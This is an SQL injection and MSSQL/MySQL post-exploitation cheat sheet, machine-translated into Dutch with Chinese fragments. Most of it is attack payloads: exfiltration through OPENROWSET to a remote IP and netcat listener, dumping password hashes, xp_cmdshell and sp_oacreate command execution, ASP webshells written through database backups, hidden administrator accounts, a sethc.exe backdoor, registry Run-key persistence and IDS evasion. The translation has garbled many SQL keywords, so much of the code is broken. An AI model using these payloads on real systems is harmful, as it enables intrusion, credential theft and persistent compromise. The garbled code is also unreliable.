Verander het IP-adres en de poort van de verbindingsstring zodat ze wijzen waar je het nodig hebt, bijvoorbeeld:
insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer

* uit tabel1) selecteer * uit tabel2
insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer

* van _blank>_sysdatabases)
selecteer * uit master.dbo.sysdatabases
insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer

* van _blank>_sysobjects)
selecteer * uit user_blank>_database.dbo.sysobjects
insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer

* van _blank>_syscolumns)
Selecteer * uit user_blank>_database.dbo.syscolumns
Repliceer _blank> database:
insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer

* uit tabel1) selecteer * uit database.. Tabel1
insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer

* uit tabel2) selecteer * uit database.. Table2

De hash van het wachtwoord dat het hashtabel (HASH) login _blank> wachtwoord kopieert, wordt opgeslagen in sysxlogins. Zo werkt het:
insert in OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer * uit _blank>_sysxlogins)

selecteer * uit database.dbo.sysxlogins
Als je eenmaal de hash hebt, kun je het met brute force forceren.

Om de map te doorlopen: maak eerst een tijdelijke tabel aan: temp
; maak een tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; Insert Temp Executive master.dbo.xp_blank>_availablemedia; – Haal alle huidige schijven op
; Voer in Temp(id) Exec master.dbo.xp_blank>_subdirs C:\; – Een lijst met subdirectories ophalen
; Insert in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Haal de directoryboomstructuur voor alle subdirectories,

Voeg de inches samen in de temperatuurtabel
; Voer in Temp(ID) Exec master.dbo.xp_blank>_cmdshell typ C:\Web\index.asp; – Bekijk een bestand

Inhoud
; Invoegen in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; Invoer in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert in temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; Insert in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Toepasselijke Bevoegdheid

PUBLIEK)
Schrijf naar de tabel:
statement 1: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(sysadmin)); –
Stelling 2: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(serveradmin)); –
Stelling 3: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(setupadmin)); –
Stelling 4: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(securityadmin)); –
Verklaring 5: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(securityadmin)); –
Stelling 6: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(diskadmin)); –
Verklaring 7: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Statement 8: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Stelling 9: en 1=(Selecteer IS_blank>_MEMBER(db_blank>_owner)); –

Schrijf het pad naar de tabel:
; Maak tabel-dirs (paden varchar(100), id int)–
; Vul DIRS Exec master.dbo.xp_blank>_dirtree c:\–
en 0<>(selecteer top 1 paden van dirs)–
en 0<>(selecteer top 1 paden uit dirs waar paden niet in (@Inetpub))–
; Maak tabel dirs1 (paths varchar(100), id int)–
; Voeg DIRS Exec master.dbo.xp_blank>_dirtree in:\web–
en 0<>(selecteer top 1 paden uit dirs1)–

Maak een back-up van _blank> database naar een webdirectory: Download
; verklaar @a systeemnaam; verzameling @a=db_blank>_name(); Back-updatabase @a naar schijf=e:\web\down.bak; –

en 1=(Selecteer bovenste 1 naam van(Selecteer top 12 id, naam uit sysobjects waar xtype=char(85)) T

Volgorde op ID beschrijving)
en 1=(Selecteer Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) uit sysobjects) Zie ook

Gerelateerde tabellen.
en 1=(selecteer user_blank>_id uit USER_blank>_LOGIN)
en 0=(gebruiker selecteren uit USER_blank>_LOGIN waar gebruiker>1)

-=- wscrip{filter}t.shell voorbeeld -=-
Verklaar @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o exec sp_blank>_oamethod @o out, run

NULL, notepad.exe–

Verklaar @o int, @f int, @t int, @ret int
verklaar @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f uit, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
terwijl( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
einde

Verklaar @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

Verklaar @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o uit
exec sp_blank>_oamethod @o, registreren, NULL, foo, bar
Uitvoerend sp_blank>_oasetproperty @o, snelheid, 150
exec sp_blank>_oamethod @o, speak, NULL, al je sequel-servers behoren toe aan, ons, 528
wacht op vertraging 00:00:05

; declare @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, spreek, NULL, al je sequel-servers zijn van ons, 528 wacht op vertraging

00:00:05–

xp_blank>_dirtree de toepasselijke PUBLIEKE toestemming
exec master.dbo.xp_blank>_dirtree c: De teruggegeven informatie heeft twee velden: subdirectory, diepte. Subdirectoryvelden

Karaktertype, het diepteveld is het vormingsveld.
Maak tabel dirs aan (paths varchar(100), id int)
Tafelbouw, de hier gemaakte tabel is gerelateerd aan bovenstaande xp_blank>_dirtree, met gelijke velden en hetzelfde type.
Insert dirs exec master.dbo.xp_blank>_dirtree c: Zolang we een tabel bouwen en de velden die door het opslagproces worden teruggegeven gelijkmatig definiëren

Voer uit! Om het effect van tabellen te bereiken, stap voor stap om de informatie te verkrijgen die we willen!
Deze foutinjectie is voornamelijk gebaseerd op Mysql-datatype-overflow
    mysql > SELECT 18446744073709551610 * 2 ;
    FOUT 1690 ( 22003 ): DE BIGINT ONGETEKENDE WAARDE IS BUITEN BEREIK IN '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    FOUT 1690 ( 22003 ): BIGINT Onondertekende waarde is buiten bereik in '(- (1) *

9223372036854775808)'
Database versie opvragen:
    mysql> SELECT * 2 (als ((SELECT * uit (SELECT (versie ()))) s), 18446744073709551610,

18446744073709551610));
    FOUT 1690 (22003): BIGINT UNSIGNED waarde is buiten bereik in '(2 * als (( Selecteer ' 5.5 'van

Dual), 18446744073709551610.18446744073709551610))'
Krijg de naam van het veld:
    mysql> SELECT 2 * als((SELECT * uit (selecteer * uit test.shop) als '' limiet 1)>(SELECT * uit

test.shop limiet 1), 18446744073709551610, 18446744073709551610);

    FOUT 1690 (22003): BIGINT Ongetekende waarde is buiten bereik in '(2 * als(((selecteer

'artikel', 'dealer', 'prijs' van (selecteer 'test'.'shop'.'article' AS

'artikel', 'test'.'shop'.'dealer' ALS 'dealer', 'test'.'shop'.'price' AS 'price' van

'testen'.'winkel') limiet 1) > (selecteren)

'test'.'winkel'.'artikel','test'.'winkel'.'dealer','test'.'winkel'.'prijs' van 'test'.'winkel' limiet

1)),18446744073709551610,18446744073709551610))'
Krijg de veldwaarde:

    mysql> SELECT 2 * als((SELECT * uit (selecteer * uit (mysql.user) LIMIET 1) als '' limiet 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    FOUT 1690 (22003): BIGINT Ongetekende waarde is buiten bereik in '(2 * als(((selecteer

'Localhost', 'root','*', 'J', J', J', J

Y', 'Y', Y', '','0', 0', 0', 0', 0', '0', '' vanaf dual limit 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Let op dat deze methode niet werkt met oudere versies van Mysql, en je moet de lengtelimiet van het foutbericht kennen, omdat dit bepaalt

Je kunt zo lang krijgen als je wilt:
    mysys / my_error.c

    /* Maximale lengte van een foutmelding. Moet synchroon blijven met MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Als het object MariaDB is (een fork van Mysql), kun je een foutmelding zien als deze wanneer je bovenstaande methode probeert:

    mysql> SELECT 2*(if((SELECT * uit (SELECT (versie()))s), 18446744073709551610,

18446744073709551610))
    FOUT 1690 (22003): BIGINT UNSIGNED waarde is buiten bereik in '(2 * als((select

#),18446744073709551610,18446744073709551610))'

Als oplossing kan dit probleem op deze manier worden opgelost:

    mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
    FOUT 1690 (22003): BIGINT-waarde is buiten bereik in '(('5.5-MariaDB' is niet nul) - -

(9223372036854775808))'
Laten we nu kijken of we onze vector iets korter kunnen maken

//查询数据库版本

    SELECT 2*(if((SELECT * uit (SELECT (versie()))s), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (I IS NIET NULL) - -9223372036854775808 VAN (SELECTEER (versie())i)a
    =
    selecteer als(x,2,2)*1E308 van(selecteer versie()x)y
//获取表字段名称
    SELECTEER 2 * als((SELECTEER * uit (selecteer * uit test.shop) als '' limiet 1)>(SELECTEER * uit

test.shop limiet 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * als((SELECT * uit (select * uit (mysql.user) LIMIT 1) als '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| host|| wachtwoord|| file_priv van(select*from mysql.user LIMIT

1) een limiet 1),2,2)
//获取字段个数


    select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Enkele andere vervormingen

    SELECT (I IS NIET NULL) - -9223372036854775808 VAN (SELECTEER (versie())i)a
    select 1E308*if((select user|| host|| wachtwoord|| file_priv van(select*from mysql.user LIMIT

1) een limiet 1),2,2);
    =>
    selecteer 2*if((selecteer gebruiker|host|wachtwoord|file_priv van(select*uit mysql.user LIMIET 1)een limiet

1),1e308,0);
    MySQL> selecteer (selecteer * uit MySQL.User)=1;
    MySQL> selecteer (selecteer * uit MySQL.User)in(1);

    FOUT 1241 (21000): Operand zou 42 kolom(men) moeten bevatten
    selecteer 2*if((selecteer gebruiker|host|wachtwoord|file_priv van(select*uit mysql.user LIMIET 1)een limiet

1),1e308,0);
    selecteer als((gebruiker selecteren|| host|| wachtwoord|| file_priv van(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (I IS NIET NULL) - -9223372036854775808 VAN (SELECTEER (versie())i)a
    selecteer (x!=0x00)--9223372036854775808 van(SELECTEER versie()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    FOUT 1690 (22003): BIGINT UNSIGNED waarde is buiten bereik in '((not('root@localhost')) - ~

(0))'
3. Beoordeel het databasesysteem
; en (selecteer aantal(*) uit sysobjects)>0 mssql
; en (selecteer aantal(*) uit msysobjects)>0 toegang
4. De injectieparameter is een karakter
'en [querycriteria] en ''='
5. Er zijn geen gefilterde parameters tijdens de zoektocht
'en [querycriteria] en '%25'='
6. Raad de database
; en (selecteer Count(*) uit [databasenaam])>0
7. Raad het veld
; en (selecteer Count (veldnaam) uit databasenaam)>0
8. Raad de lengte van het record in het veld
; en (selecteer top 1 LEN (veldnaam) uit databasenaam)>0
9. (1) Raad de ASCII-waarde van het veld (toegang)
; en (selecteer top 1 ASC(mid(veldnaam, 1,1)) uit databasenaam)>0
(2) Raad de ASCII-waarde van het veld (mssql)
; en (selecteer top 1 unicode(substring(veldnaam, 1,1)) uit databasenaam)>0
10. Testrechtenstructuur (mssql)
; en 1=(selecteer IS_SRVROLEMEMBER('sysadmin')); --
; en 1=(selecteer IS_SRVROLEMEMBER('serveradmin')); --
; en 1=(selecteer IS_SRVROLEMEMBER('setupadmin')); --
; en 1=(selecteer IS_SRVROLEMEMBER('securityadmin')); --
; en 1=(selecteer IS_SRVROLEMEMBER('diskadmin')); --
; en 1=(selecteer IS_SRVROLEMEMBER('bulkadmin')); --
; en 1=(selecteer IS_MEMBER('db_owner')); --
11. Voeg een account toe voor mssql en het systeem
; exec master.dbo.sp_addlogin gebruikersnaam; --
; exec master.dbo.sp_password null, gebruikersnaam, wachtwoord; --
; exec master.dbo.sp_addsrvrolemember sysadmin gebruikersnaam; --
; exec master.dbo.xp_cmdshell 'net user gebruikersnaam wachtwoord /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'netgebruiker gebruikersnaam wachtwoord /add'; --
; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators gebruikersnaam /add'; --
12. (1) Doorloop de catalogus
; Maak tabel dirs aan (paths varchar(100), id int)
; Vul dirs executive in master.dbo.xp_dirtree 'c:\'
; en (selecteer top 1 paden van dirs)>0
; en (selecteer top 1 paden uit dirs waar paden niet in zitten ('paden verkregen uit de vorige stap'))>)
(2) De catalogus doorlopen
; maak een tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Insert Temp Executive master.dbo.xp_availablemedia; -- Alle stroomaandrijvingen ophalen
; Invoegen in temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Krijg een lijst met subdirectories
; Invoegen in temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Haal de directoryboomstructuur op voor alle submappen
; Invoegen in temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Bekijk de inhoud van het bestand
13. Opgeslagen procedures in mssql
xp_regenumvalues Registersleutel, kindsleutel
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' en meer

recordsetmethode om alle sleutelwaarden terug te geven
xp_regread Root-sleutel, kindsleutel, sleutel-waarde naam
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' geeft de waarde van de formuleringssleutel terug
xp_regwrite Root-sleutel, kindsleutel, waardenaam, waardetype, waarde
Er zijn twee soorten waardetypen REG_SZ REG_DWORD voor tekentypes en voor gehele getallen
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' worden naar het register geschreven
xp_regdeletevalue Root-sleutel, sub-sleutel, waardenaam
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' om een waarde te verwijderen
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' verwijdersleutel,

Neem alle waarden onder die sleutel op
14. MSSQL Backup maakt een webshell aan
Gebruik Model
maak table cmd (STR-afbeelding);
Invoegen in cmd(str)-waarden ('<% Dim oscrip{filter}t %>');
back-up databasemodel naar schijf='c:\l.asp';
15. ingebouwde MSSQL-functies
; en (selecteer @@version)>0 om het versienummer van Windows te krijgen
; en user_name()='dbo' om te bepalen of de aangesloten gebruiker van het huidige systeem SA is
; en (selecteer user_name())>0 Explodeerden de verbonden gebruikers van het huidige systeem
; en (selecteer db_name())>0 om de momenteel verbonden database te krijgen
16. Beknopte webshell
Gebruik Model
maak table cmd (STR-afbeelding);
Insert in cmd(str) values ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
Back-up databasemodel naar schijf='g:\wwwtest\l.asp';
Gebruik bij het aanvragen iets als dit:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Alle databasenamen inclusief systeemdatabases
–SELECTEER naam UIT master.dbo.sysdatabases

Verkrijg alle niet-systeemdatabasenamen
–selecteer [naam] uit master.dbo.sysdatabases waar DBId>6 Order Op [Naam]

Krijg alle informatie, inclusief het adres van het databasebestand
–selecteer * uit master.dbo.sysdatabases waar DBId>6 Order By

[Naam]



Deze instructiequery levert alle gebruikerstabellen terug

selecteer * uit sysobjects waarbij xtype='u'


Raadpleeg alle gegevenstabelinformatie in het systeem

Selecteer * uit sysobjects



Kijk naar de naam van de machine
selecteer * uit sys.servers





Kolominhoudsopgave
Uitvoerend master.dbo.xp_subdirs 'C:\'


exec master.dbo.xp_dirtree 'c:',1,1 db_owner
Toestemmingen kunnen worden afgedwongen


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programmacode, geschreven naar webshell


exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
Uitvoerend sp_makewebtask 'D:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Meester executeren.. xp_enumgroups  


Traverse-systeemgebruikers


Meester executeren.. xp_getnetname
Krijg de huidige machinenaam


--Vermeld de vaste schijven op de server, samen met de beschikbare ruimte voor elke schijf
   DBO Openbaar


Executeren

xp_ntsec_enumdomains


--
Maak een account aan om in te loggen op MSSQL
Leidinggevende master.dbo.sp_addlogin naam, pass; --






--
Vermeld de domeinnaam van de server
xp_ntsec_enumdomains //
Machinenaam //dbo publiek


--
Stop of start een dienst
xp_servicecontrol 'stop', 'schedule' //schedule is de naam van de dienst //dbo


--Gebruik pid

Stop een uitvoerend programma
xp_terminate_process 123 //123 is de PID //dbo


--
Alleen submappen in een map worden vermeld
dbo.xp_subdirs 'C:' //dbo


SQL Server
De methode om de xp_cmdshell te openen in 2005
EXEC sp_configure 'toon geavanceerde opties', 1; HERCONFIGUREER; EXEC

sp_configure 'xp_cmdshell', 1; HERCONFIGUREER;

SQL2005 Open 'OPENROWSET'
Ondersteunde methoden:
Uitvoerend sp_configure 'Toon geavanceerde opties', 1; HERCONFIGUREER; uitvoerend sp_configure 'Ad Hoc

Verspreide Zoekopdrachten,1; HERCONFIGUREER;

SQL2005 om 'sp_oacreate'-ondersteuning in te schakelen:
Uitvoerend sp_configure 'Toon geavanceerde opties', 1; HERCONFIGUREER; Uitvoerend

sp_configure 'Ole Automatiseringsprocedures',1; RECONFIGUREER





Hoe schakel je xp_cmdshell in SQL Server 2008 in


-- Om geavanceerde opties te kunnen wijzigen.
EXEC

sp_configure 'toon geavanceerde opties', 1
GA
-- Om de momenteel geconfigureerde waarde bij te werken voor

Geavanceerde opties.
RECONFIGUREER
GA
-- Om de functie in te schakelen.
EXEC sp_configure 'xp_cmdshell', 1
GA
--Aan

Werk de momenteel geconfigureerde waarde voor deze functie bij.
RECONFIGUREER
GA


exec xp_cmdshell 'ipconfig'



Vandaag wilde ik het SA-loginwachtwoord van de databaseserver veranderen, maar ik vergat het plotseling, dus moest ik de query-analyzer openen met hulp van andere accounts om het SA-wachtwoord te wijzigen

Het is heel simpel:


Uitvoering:
sp_password Null,'teracypwd,'sa'
Stel het SA-wachtwoord in op "teracypwd"


Na succesvolle executie

Er is "Commando(s) succesvol voltooid."  OK!








In de database permission, scheid de methode om het MSSQL-databaseserver-IP te verkrijgen


1. Lokale NC luistert naar NC - VVLP 80


2.; Insert in

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Netwerk=DBMSSOCN; Adres=uw ip, 80; ', 'selecteer * uit

dest_table') selecteer * uit src_table; --


selecteer * uit openrowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','selecteer gebruiker; ')





Database importeren en exporteren

/*不同服务器数据库之间的数据操作*/

--Maak een linkserver aan
Uitvoerend sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Remote Server Name of IP-adres'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'gebruikersnaam', 'wachtwoord'

--queryvoorbeeld
selecteer * uit ITSV.database name.dbo.table name

--import voorbeeld
selecteer *

in de tabel van ITSV.databasename.dbo.tablename

--Verwijder de gekoppelde server als deze in de toekomst niet meer in gebruik is
executive sp_dropserver 'ITSV',

'Droplogins'

--
Verbinding maken met remote/LAN-data (openrowset/openquery/opendatasource)
--1、openrowset

--queryvoorbeeld
selecteer *

van openrowset( 'SQLOLEDB ', 'sql server naam '; 'Gebruikersnaam'; 'wachtwoord', databasenaam.dbo.tabelnaam)

--
Genereer een lokale tabel
selecteer * in de tabel van openrowset( 'SQLOLEDB ', 'sql server naam '; 'Gebruikersnaam'; 'Wachtwoord', nummer

Volgens de databasenaam.dbo. tabelnaam)

--
Importeer de lokale tabel in de externe tabel
insert openrowset( 'SQLOLEDB', 'SQL Server Name'; 'Gebruikersnaam'; 'Wachtwoorden', databases

name.dbo.table name)
selecteer *uit lokale tabel

--
Werk lokale tabellen bij
Update B
stel b. kolom A = a
van openrowset( 'SQLOLEDB ', 'sql server naam '; 'Gebruikersnaam'; '

wachtwoord ', databasenaam .dbo.table name) als een inner join lokale tabel b
op a.kolom1=b.kolom1

--openquery
Gebruik vereist het aanmaken van een verbinding

--Eerst maak je een verbinding om een linkserver te maken
exec sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'externe servernaam of IP-adres'
--Informeer
selecteer *
VAN openquery(ITSV, 'SELECT * FROM data

library.dbo.table naam ')
--
Importeer de lokale tabel in de externe tabel
insert openquery(ITSV, 'SELECT * FROM database.dbo.table name')
Selecteer * uit lokaal

Tabel
--update lokale tabel
Update B
verzameling b. kolom B=a
VAN openquery(ITSV, 'SELECTEER * UIT database.dbo.tablename')

als een  
binnenste join lokale tabel b op a. kolom A=b. kolom A

--3、opendatasource/openrowset
SELECTEER *
VAN   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Gebruikers-ID=Inlognaam; Wachtwoord=Wachtwoord '

).test.dbo.roy_ta
--
Importeer de lokale tabel in de externe tabel



Schrappen en herstel van xp_cmdshell


Manieren om xp_cmdshell te herstellen   
Verwijder de uitgebreide opgeslagen procedure xp_cmdshell

Stelling   
Leidinggevende sp_dropextendedproc 'xp_cmdshell'   



Herstel de SQL-instructie van cmdshell   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Uitvoerend

master.dbo.add extendedproc 'xp_cmdshell','xplog70.dll'; selecteer telling(*) uit

master.dbo.sysobjects waarbij xtype='x' en   
Het retourresultaat is 1 en het is OK   


Anders moet je c:\inetput\web uploaden

\xplog70.dll later   
exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web xplog70.dll\

’; --   



Als je het op de volgende manier verwijdert.   
Dropprocedure sp_addextendedproc   
Dropprocedure sp_oacreate   
Uitvoerend

sp_dropextendedproc 'xp_cmdshell'   



Je kunt het herstellen met de volgende verklaring   
DBCC voegde uitgebreide proc toe ("sp_oacreate","odsole70.dll")   
DBCC

addendedproc ("xp_cmdshell", "xplog70.dll")   

Op deze manier kan het direct worden hersteld, ongeacht of sp_addextendedproc bestaat of niet






1、
Gebruik xp_cmdshell:
          exec master.dbo.xp_cmdshell "net user admin admin /add"
          Uitvoerend

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

Gebruik xp_cmdshell geval sp_oacreate om sp_oamethod te volgen:
          Verklaar @object int   
          Uitvoerend

sp_oacreate 'wscrip{filter}t.Shell', @object uit         
          Uitvoerend sp_oamethod

@object,'Run', NULL,'net user admin admin /add'
          exec sp_oamethod @object, 'Run', NULL, 'net

localgroup Beheerders admin /add'

Opmerking: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Gebruik sp_oacreate en FSO
          Verklaar @o int
          Uitvoerend sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          exec sp_oamethod @o, 'copyfile', null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          Verklaar @oo int
          Uitvoerend

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          Uitvoerend sp_oamethod @oo,

'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

Gebruik xp_regwrite (db_owner, herstart vereist):
          Uitvoerend master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          Uitvoerend master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup beheerders admin /add'
5. Gebruik sp_add_job:
          Uitvoerend

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Gebruik MSDB Exec sp_delete_job

null,'x'
          Uitvoerend sp_add_job 'X'
          Uitvoerend sp_add_jobstep

Null,'x', Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          Uitvoerend sp_add_jobserver

Null, 'x', @@servername executive sp_start_job 'x'















Veel SA zijn succesvol geraakt in veel machines direct met de sandbox-modus, maar ik heb het nooit geoefend en ik weet niet wat het slagingspercentage is. Wanneer de verlenging wordt verwijderd, eerst

Herstel de opslag voor lezen en schrijven in het register.
dbcc voegde uitgebreide proc toe ('xp_regread','xpstar.dll')
dbcc addendedproc

('xp_regwrite','xpstar.dll')



De beschermde modus van de sandbox werd vastgesteld
Uitvoerend meester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Kijk of de waarde 'SandBoxMode' is veranderd naar 0.


EXECUTIVE master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Roep tenslotte de sandbox-modus aan
selecteer * uit openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','selecteer shell("cmd.exe /c net user user passwd /add")')







Als de sandbox-beschermingsmodus niet "uit" is, wordt een foutmelding gemeld:
          Server: Msg 7357, Niveau 16, Staat 2, Lijn 1

Niet in het verwerken van object 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB biedt programma's aan

Het voorwoord 'microsoft.jet.oledb.4.0' geeft aan dat er geen kolommen in het object zijn.

OLE DB fouttracking [Niet-interface fout: OLE DB-provider kan het object niet verwerken, aangezien het object

heeft nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

gebruiker passwd /add")']。


2、
Als de .mdb niet bestaat of het invoerpad onjuist is
           Server: Msg 7399, Niveau 16, Staat 1, Lijn 1

OLE DB provider 'microsoft.jet.oledb.4.0' fout.
            [OLE/DB-provider retourneerde bericht:

Bestand 'C:\WINDOWS\system32\ias dnary1.mdb\' niet gevonden. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned returned

0x80004005: ]。


3. Als er meer ruimtes zijn tijdens het invoerproces, wordt er ook een fout gemeld. Let hier speciaal op, veel mensen zoeken direct online naar artikelen

Plak het in en voer het uit.
          Server: Msg 7357, Niveau 16, Staat 2, Lijn 1
          Object'select is niet kunnen verwerken.

shell("cmd.exe /c net user user passwd /add")'。
De OLE DB-provider 'microsoft.jet.oledb.4.0' geeft aan dat er geen kolommen in het object zijn.

OLE DB fouttracking [Niet-interface fout:
OLE DB-provider kan het object niet verwerken, omdat het object heeft

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user user

passwd /add")']。


4、
Als de mdb-rechten en cmd.exe-rechten verkeerd zijn, zal het probleem ook optreden.
          Wanneer de MDB-rechten onjuist zijn,
           Server: Elimineren

Rente 7320, Niveau 16, Staat 2, Lijn 1

Hij kon niet antwoorden
OLE DB-provider 'Microsoft.Jet.OLEDB.4.0' voert de query uit.
           [OLE/DB-provider geretourneerd

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Als de nettoestemming onjuist is, is er geen prompt.

De laatste manier om de autoriteit te verhogen is het uploaden van de ias.mdb en cmd.exe van het systeem onder de huidige webdirectory, net.exe drie bestanden.

Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','selecteer shell

("E:\web\cmd.exe /c E:\web\net.exe user user passwd /add")')
          Met succes een computergebruiker toevoegen.






Het splitsen van cmdshell omzeilt IDS         
Verklaar @a sysname-set @a='xp_'+'cmdshell' exec @a 'ipconfig'
Verklaar

